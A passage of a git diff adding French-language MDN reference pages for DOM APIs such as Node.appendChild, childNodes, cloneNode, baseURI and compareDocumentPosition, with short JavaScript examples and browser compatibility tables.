+<p><span class="seoSummary">La propriété en lecture seule <code><strong>NavigatorStorage.storage</strong></code> renvoie le singleton {{domxref("StorageManager")}} utilisé pour accéder aux capacités globales de stockage du navigateur pour le site actuel ou l’application actuelle.</span> L’objet renvoyé permet d’examiner et de configurer la persistance des stockages de données, et savoir approximativement combien d’espace est encore disponible dans le navigateur pour utiliser le stockage local.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>storageManager</em> = navigator.storage;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{domxref("StorageManager")}} permettant de maintenir la persistance des données stockées, et de déterminer grossièrement combien d’espace est disponible pour stocker des données.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage', '#navigatorstorage', 'navigator.storage')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.NavigatorStorage.storage")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("NavigatorStorage")}}</li>
+ <li>{{domxref("StorageManager")}}</li>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("WorkerNavigator")}}</li>
+</ul>
diff --git a/files/fr/web/api/node/appendchild/index.html b/files/fr/web/api/node/appendchild/index.html
new file mode 100644
index 0000000000..640709b22e
--- /dev/null
+++ b/files/fr/web/api/node/appendchild/index.html
@@ -0,0 +1,151 @@
+---
+title: element.appendChild
+slug: Web/API/Node/appendChild
+tags:
+  - API
+  - Ajout
+  - DOM
+  - Enfant
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/appendChild
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>Node.appendChild()</strong></code> ajoute un nœud à la fin de la liste des enfants d'un nœud parent spécifié. Si l'enfant donné est une référence à un nœud existant dans le document, <code>appendChild()</code> le déplace  de sa position actuelle vers une nouvelle position (il n'est pas nécessaire de supprimer le noeud sur son noeud parent avant de l'ajouter à un autre).</p>
+
+<p>Cela signifie qu'un noeud ne peut pas être à deux points du document simultanément. Donc, si le nœud a déjà un parent, le nœud est d'abord retiré, puis ajouté à la nouvelle position. Le {{domxref("Node.cloneNode()")}} peut être utilisé pour réaliser une copie de noeud avant de l'ajouter à son nouveau parent. Notez que les copies faites avec <code>cloneNode</code> ne seront pas automatiquement synchronisées.</p>
+
+<p>Si l'enfant donné est un {{domxref("DocumentFragment")}} , le contenu entier du {{domxref("DocumentFragment")}} est déplacé dans la liste d'enfants du noeud parent spécifié.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">var <em>elementAjoute</em> = <em>element</em>.appendChild(<em>enfant</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><strong>enfant</strong></dt>
+ <dd>Le noeud à ajouter au noeud parent donné (généralement un élément).</dd>
+</dl>
+
+<h3 id="Valeur_renvoyée">Valeur renvoyée</h3>
+
+<p>La valeur renvoyée <span id="result_box" lang="fr"><span>est l'enfant ajouté sauf si l'enfant donné est un {{domxref ("DocumentFragment")}}, auquel cas le {{domxref ("DocumentFragment")}} vide est renvoyé.</span></span></p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Le chaînage peut ne pas fonctionner comme prévu en raison de <code>appendChild()</code> renvoyant l'élément enfant :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> aBlock <span class="operator token">=</span> doc<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'block'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>doc<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'b'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Définit <code>aBlock</code> pour <code>&lt;b&gt;&lt;/b&gt;</code> uniquement, ce que vous ne voulez probablement pas.</p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="comment token">// Crée un nouvel élément paragraphe et l'ajoute à la fin du corps du document</span>
+<span class="keyword token">var</span> p <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>p<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-appendchild', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement de {{SpecName("DOM3 Core")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement de {{SpecName("DOM2 Core")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement de {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-184E7107', 'Node.appendChild()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild")}}</li>
+ <li>{{domxref("Node.replaceChild")}}</li>
+ <li>{{domxref("Node.insertBefore")}}</li>
+ <li>{{domxref("Node.hasChildNodes")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+</ul>
diff --git a/files/fr/web/api/node/baseuri/index.html b/files/fr/web/api/node/baseuri/index.html
new file mode 100644
index 0000000000..cc52dd42cf
--- /dev/null
+++ b/files/fr/web/api/node/baseuri/index.html
@@ -0,0 +1,71 @@
+---
+title: Node.baseURI
+slug: Web/API/Node/baseURI
+tags:
+  - API
+  - DOM
+  - HTML
+  - Propriétés
+  - URI
+  - URL
+  - URL absolue
+  - XML
+translation_of: Web/API/Node/baseURI
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La propriété en lecture seule <code><strong>Node.baseURI</strong></code> renvoie l'URL de base absolue d'un noeud.</p>
+
+<p>L'URL de base est utilisée pour <a href="http://developers.whatwg.org/urls.html#resolving-urls">résoudre</a> les URL relatives quand le navigateur a besoin d'obtenir une URL absolue, par exemple lors du traitement de l'attribut <code>src</code>  en HTML ou XML <code><a href="https://developer.mozilla.org/fr/docs/Glossaire/XLink">xlink</a>:href</code> d'un élément {{HTMLElement("img")}} HTML.</p>
+
+<p>En général, l'URL de base est simplement l'emplacement du document, mais elle peut être affectée par de nombreux facteurs, y compris l'élément {{HTMLElement("base")}} en HTML et l'attribut  <code><a href="https://developer.mozilla.org/fr/docs/Introduction_%C3%A0_XML/xml:base">xml:base</a></code> en XML.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>baseURI</em> = <em>node</em>.baseURI;
+</pre>
+
+<ul>
+ <li><code>baseURI</code> est une {{ domxref("DOMString") }} (<em>chaîne de caractères</em>) représentant l'URL de base du {{domxref("Node")}} spécifié. Elle peut être <code>null</code> s'il est impossible d'obtenir une URI absolue.</li>
+ <li><code><em>node</em>.baseURI</code> est en lecture seule.</li>
+ <li><code><em>node</em>.baseURI</code> peut changer avec le temps (voir ci-dessous).</li>
+</ul>
+
+<h2 id="Details" name="Details">Détails</h2>
+
+<h3 id="L'URL_de_base_d'un_document">L'URL de base d'un document</h3>
+
+<p>L'URL de base d'un <em>document</em> est par défaut l'adresse du document (telle qu'affichée par le navigateur et disponible dans {{domxref("window.location")}}), mais peut changer par défaut :</p>
+
+<ul>
+ <li>Si une balise HTML {{HTMLElement("base")}} est trouvée dans le document ;</li>
+ <li>Lorsque celui-ci est un nouveau document créé dynamiquement.</li>
+</ul>
+
+<p>Voir la page <a href="http://developers.whatwg.org/urls.html#base-urls">Base URLs section of the HTML Living standard</a> (en) pour plus de détails.</p>
+
+<p>Vous pouvez utiliser <code><em>{{domxref("document")}}</em>.baseURI</code> pour obtenir l'URL de base d'un document. Notez que l'obtention de l'URL de base d'un document peut renvoyer des URL différentes au fil du temps si la balise {{HTMLElement("base")}} ou l'emplacement du document change.</p>
+
+<h3 id="L'URL_de_base_d'un_élément">L'URL de base d'un élément</h3>
+
+<p>L'URL de base d'un <em>element</em> en HTML est normalement équivalente à celle du document dans lequel se trouve le noeud.</p>
+
+<p>Si le document contient des attributs <code><a href="https://developer.mozilla.org/fr/docs/Introduction_%C3%A0_XML/xml:base">xml:base</a></code> (ce que vous ne devriez pas faire dans les documents HTML), l'<code><em>element</em>.baseURI</code> prend en compte l'attribut <code>xml:base</code> des parents de l'élément  lors du calcul de l'URL de base. Voir <a href="https://developer.mozilla.org/fr/docs/Introduction_%C3%A0_XML/xml:base">xml:base</a> pour plus de détails.</p>
+
+<p>Vous pouvez utiliser <code><em>{{domxref("element")}}</em>.baseURI</code> pour obtenir l'URL de base d'un élément.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li>{{spec("http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-baseURI","DOM Level 3 Core: baseURI","REC")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>l'élément {{HTMLElement("base")}} (HTML)</li>
+ <li>l'attribut <code><a href="https://developer.mozilla.org/fr/docs/Introduction_%C3%A0_XML/xml:base">xml:base</a></code> (documents XML).</li>
+ <li>{{domxref("Node.baseURIObject")}} - une variante de cette API pour les add-ons Mozilla et le code interne. Renvoie l'URL de base en tant que {{interface("nsIURI")}}.</li>
+</ul>
diff --git a/files/fr/web/api/node/baseuriobject/index.html b/files/fr/web/api/node/baseuriobject/index.html
new file mode 100644
index 0000000000..8be97398f4
--- /dev/null
+++ b/files/fr/web/api/node/baseuriobject/index.html
@@ -0,0 +1,38 @@
+---
+title: Node.baseURIObject
+slug: Web/API/Node/baseURIObject
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+  - URI
+  - URL
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}} {{Non-standard_header}}</div>
+
+<p>La propriété <code><strong>Node.baseURIObject</strong></code> renvoie le {{Interface("nsIURI")}} représentant l'URL de base du noeud (un document ou un élément). Elle est similaire à {{domxref("Node.baseURI")}}, à ceci près qu'elle renvoie une "nsIURI" à la place d'une "string" (<em>chaîne de caractères</em>).</p>
+
+<p>Cette propriété existe sur tous les noeuds (HTML, XUL, SVG, MathML, etc.), mais est utilisable par le script seulement s'il a des privilèges UniversalXPConnect.</p>
+
+<p>Voir {{domxref("Node.baseURI")}} pour plus de détails sur ce qu'est une URL de base.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>uriObj</var> = <em>node</em>.baseURIObject
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Cette propriété est en lecture seule ; tenter d'y écrire lancera une exception. En outre, on ne peut y accèder qu'à partir du code privilégié.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>N'existe dans aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.baseURIObject")}}</p>
diff --git a/files/fr/web/api/node/childnodes/index.html b/files/fr/web/api/node/childnodes/index.html
new file mode 100644
index 0000000000..d0dc5d7343
--- /dev/null
+++ b/files/fr/web/api/node/childnodes/index.html
@@ -0,0 +1,111 @@
+---
+title: element.childNodes
+slug: Web/API/Node/childNodes
+tags:
+  - API
+  - DOM
+  - Enfants
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/Node/childNodes
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule  <code><strong>Node.childNodes</strong></code> renvoie une {{domxref("NodeList")}} (<em>liste de noeuds</em>) de {{domxref("Node","noeuds")}} enfants de l'élément donné avec le premier noeud enfant affecté à l'index 0.</p>
+
+<h2 id="Syntaxe_et_valeurs" name="Syntaxe_et_valeurs">Syntaxe</h2>
+
+<pre class="eval"><a href="/fr/Référence_de_JavaScript_1.5_Core/Instructions/var" title="https://developer.mozilla.org/fr/Référence_de_JavaScript_1.5_Core/Instructions/var"><span style="color: #800080;">var</span></a> <var>collNoeuds</var> = elementDeReference.<a href="/fr/DOM/element.childNodes" title="https://developer.mozilla.org/fr/DOM/element.childNodes">childNodes</a>;
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_simple">Utilisation simple</h3>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="comment token">// parg est une référence d'objet pour un élément &lt;p&gt;</span>
+
+<span class="comment token">// D'abord vérifier que l'élément a des noeuds enfants </span>
+<span class="keyword token">if</span> <span class="punctuation token">(</span>parg<span class="punctuation token">.</span><span class="function token">hasChildNodes</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> children <span class="operator token">=</span> parg<span class="punctuation token">.</span>childNodes<span class="punctuation token">;</span>
+
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> children<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// faire quelque chose avec chaque enfant[i]</span>
+    <span class="comment token">// NOTE: La liste est en ligne, l'ajout ou la suppression des enfants changera la liste</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Supprimer_tous_les_enfants_d'un_nom">Supprimer tous les enfants d'un nom</h3>
+
+<pre><span style="color: #999999;">// Voici une manière de supprimer tous les enfants d'un nœud
+// (boite est une référence à un élément ayant des enfants)</span>
+<a href="/fr/Référence_de_JavaScript_1.5_Core/Instructions/while" title="https://developer.mozilla.org/fr/Référence_de_JavaScript_1.5_Core/Instructions/while">while</a>( boite.<a href="/fr/DOM/element.firstChild" title="https://developer.mozilla.org/fr/DOM/element.firstChild">firstChild</a>) {
+    <span style="color: #999999;">// La liste n'est pas une copie, elle sera donc réindexée à chaque appel</span>
+    boite.<a href="/fr/DOM/element.removeChild" title="https://developer.mozilla.org/fr/DOM/element.removeChild">removeChild</a>( boite.<a href="/fr/DOM/element.firstChild" title="https://developer.mozilla.org/fr/DOM/element.firstChild">firstChild</a>);
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Les éléments de la collection de noeuds sont des objets et non des chaînes de caractères. Pour en obtenir les données, vous devez utiliser leurs propriétés (par exemple <code>elementNodeReference.childNodes[1].nodeName</code> pour obtenir son nom, etc.)</p>
+
+<p>L'objet <a href="/fr/DOM/document" title="https://developer.mozilla.org/fr/DOM/document"><code>document</code></a> lui-même a deux enfants : la déclaration <a href="/fr/DOM/document.doctype" title="https://developer.mozilla.org/fr/DOM/document.doctype">Doctype</a> et l'élément racine, généralement appelés  <code>documentElement</code> . (Dans les documents (X)HTML il s'agit d'éléments  <a href="/fr/HTML/Element/html" title="https://developer.mozilla.org/fr/HTML/Element/html"><code>HTML</code></a>).</p>
+
+<p><code>childNodes</code>  inclut tous les noeuds enfants, y compris les noeuds qui ne sont pas des éléments comme les noeuds texte et commentaire. Pour obtenir une collection des seuls éléments, utilisez {{domxref("ParentNode.children")}} à la place.</p>
+
+<p> </p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-childnodes', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1451460987', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1451460987', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1451460987', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+
+
+<p>{{Compat("api.Node.childNodes")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.firstChild")}}</li>
+ <li>{{domxref("Node.lastChild")}}</li>
+ <li>{{domxref("Node.nextSibling")}}</li>
+ <li>{{domxref("Node.previousSibling")}}</li>
+ <li>{{domxref("ParentNode.children")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/node/clonenode/index.html b/files/fr/web/api/node/clonenode/index.html
new file mode 100644
index 0000000000..80f3474516
--- /dev/null
+++ b/files/fr/web/api/node/clonenode/index.html
@@ -0,0 +1,171 @@
+---
+title: element.cloneNode
+slug: Web/API/Node/cloneNode
+tags:
+  - API
+  - DOM
+  - Duplication
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/cloneNode
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <strong><code>Node.cloneNode()</code></strong> renvoie une copie du nœud sur lequel elle a été appelée.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em><var>dupNode</var></em> = <em><var>node</var></em>.cloneNode([<em><var>deep]</var></em>);
+</pre>
+
+<dl>
+ <dt>node</dt>
+ <dd>Le noeud à dupliquer.</dd>
+ <dt>dupNode</dt>
+ <dd>Le nouveau noeud qui sera un clone du <code>node</code>.</dd>
+ <dt>deep <em>{{optional_inline}} (profondeur)</em></dt>
+ <dd><code>true</code> (<em>vrai</em>) si les enfants du noeud doivent aussi être clonés ou <code>false</code> (<em>faux</em>) si seul le noeud spécifié doit l'être.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Dans la spécification DOM4 (telle qu'implémentée dans Gecko 13.0 {{geckoRelease(13)}}), <code>deep</code> est un argument facultatif. S'il est omis, la méthode agit comme si la valeur de  <code>deep</code> était <strong><code>true</code></strong> par défaut, elle utilise le clonage profond comme comportement par défaut. Pour créer un clone superficiel, <code>deep</code> doit être défini sur <code>false</code>.</p>
+
+<p>Le comportement a été modifié dans la dernière spécification et, s'il est omis, la méthode doit agir comme si la valeur de <code>deep</code> était <strong><code>false</code></strong>. Bien que ce soit toujours facultatif, vous devriez toujours fournir l'argument <code>deep</code> pour la compatibilité amont et aval. Avec Gecko 28.0 {{geckoRelease(28)}}), la console a averti les développeurs de ne pas omettre l'argument. À partir de Gecko 29.0 {{geckoRelease(29)}}), un clone superficiel est défini par défaut au lieu d'un clone profond.</p>
+</div>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre>p = document.getElementById("para1");
+p_prime = p.cloneNode(true);
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Cloner un nœud copie tous ses attributs ainsi que leurs valeurs, y compris les auditeurs intrinsèques (en ligne). Il ne copie pas les auditeurs d'évènement ajoutés avec <a href="https://developer.mozilla.org/en-US/docs/DOM/element.addEventListener"><code>addEventListener()</code></a> ou ceux assignés au propriétés d'éléments (par exemple <code>node.onclick = fn</code>). De plus, pour un élément {{HTMLElement("canvas")}} l'image peinte n'est pas copiée.</p>
+
+<p>Le nœud dupliqué renvoyé par <code>cloneNode</code> ne fera pas partie du document tant qu'il n'y est pas ajouté via la méthode  {{domxref("Node.appendChild()")}} ou une méthode similaire. De même, il n'a pas de parent tant qu'il n'a pas été ajouté à un autre nœud.</p>
+
+<p>Si <code>deep</code> est défini à <code>false</code>, aucun des nœuds enfants n'est copié.<br>
+ <em>T</em>out texte contenu dans le nœud n'est pas copié non plus , car il fait partie d'un ou plusieurs nœuds {{domxref("Text")}}  enfants.</p>
+
+<p>Si <code>deep</code> est évalué à <code>true</code>, le sous-arbre entier est copié également (y compris le texte qui peut être contenu dans des nœuds  {{domxref("Text")}}  enfants). Pour les nœuds vides (par exemple les éléments  {{HTMLElement("img")}}  et  {{HTMLElement("input")}} ) le fait de mettre <code>deep</code> à <code>true</code> ou <code>false</code> n'a aucune incidence sur la copie, mais il est tout de même nécessaire de fournir une valeur.</p>
+
+<div class="warning">
+<p><strong>Attention :</strong> <code>cloneNode()</code> peut conduire à dupliquer des ID (<em>identifiant</em>) d'éléments dans un document.</p>
+</div>
+
+<p>Si le noeud d'origine a un identifiant et que le clone doit être placé dans le même document, l'identifiant du clone peut être modifié pour être unique. Les attributs du nom peuvent devoir être modifiés également, selon que les noms en double sont attendus.</p>
+
+<p>Pour cloner un noeud à ajouter dans un document différent, utilisez  {{domxref("Document.importNode()")}} à la place.</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-node-clonenode", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deep</code> as an optional parameter</td>
+   <td>
+    <p>{{CompatVersionUnknown}}<sup>[1]</sup></p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}<sup>[1]</sup></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deep</code> as an optional parameter</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La valeur par défaut pour le paramètre <code>deep</code> est <code>false</code></p>
+
+<p> </p>
diff --git a/files/fr/web/api/node/comparedocumentposition/index.html b/files/fr/web/api/node/comparedocumentposition/index.html
new file mode 100644
index 0000000000..7e7c2a7273
--- /dev/null
+++ b/files/fr/web/api/node/comparedocumentposition/index.html
@@ -0,0 +1,158 @@
+---
+title: Node.compareDocumentPosition()
+slug: Web/API/Node/compareDocumentPosition
+tags:
+  - API
+  - Arborescence
+  - DOM
+  - Méthodes
+  - Noeuds
+  - Position
+translation_of: Web/API/Node/compareDocumentPosition
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>Node.compareDocumentPosition()</strong></code>compare la position du noeud courant par rapport à un autre noeud dans tout autre document.</p>
+
+<p>La valeur retournée est un masque de bits avec les valeurs suivantes :</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col">Valeur</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>DOCUMENT_POSITION_DISCONNECTED</code></td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_PRECEDING</code></td>
+   <td>2</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_FOLLOWING</code></td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_CONTAINS</code></td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_CONTAINED_BY</code></td>
+   <td>16</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC</code></td>
+   <td>32</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>node</em>.compareDocumentPosition( <em>otherNode</em> )
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">var head = document.getElementsByTagName('head').item(0);
+
+if (head.compareDocumentPosition(document.body) &amp; Node.DOCUMENT_POSITION_FOLLOWING) {
+  console.log("well-formed document");
+} else {
+  console.log("&lt;head&gt; is not before &lt;body&gt;");
+}
+</pre>
+
+<div class="note">
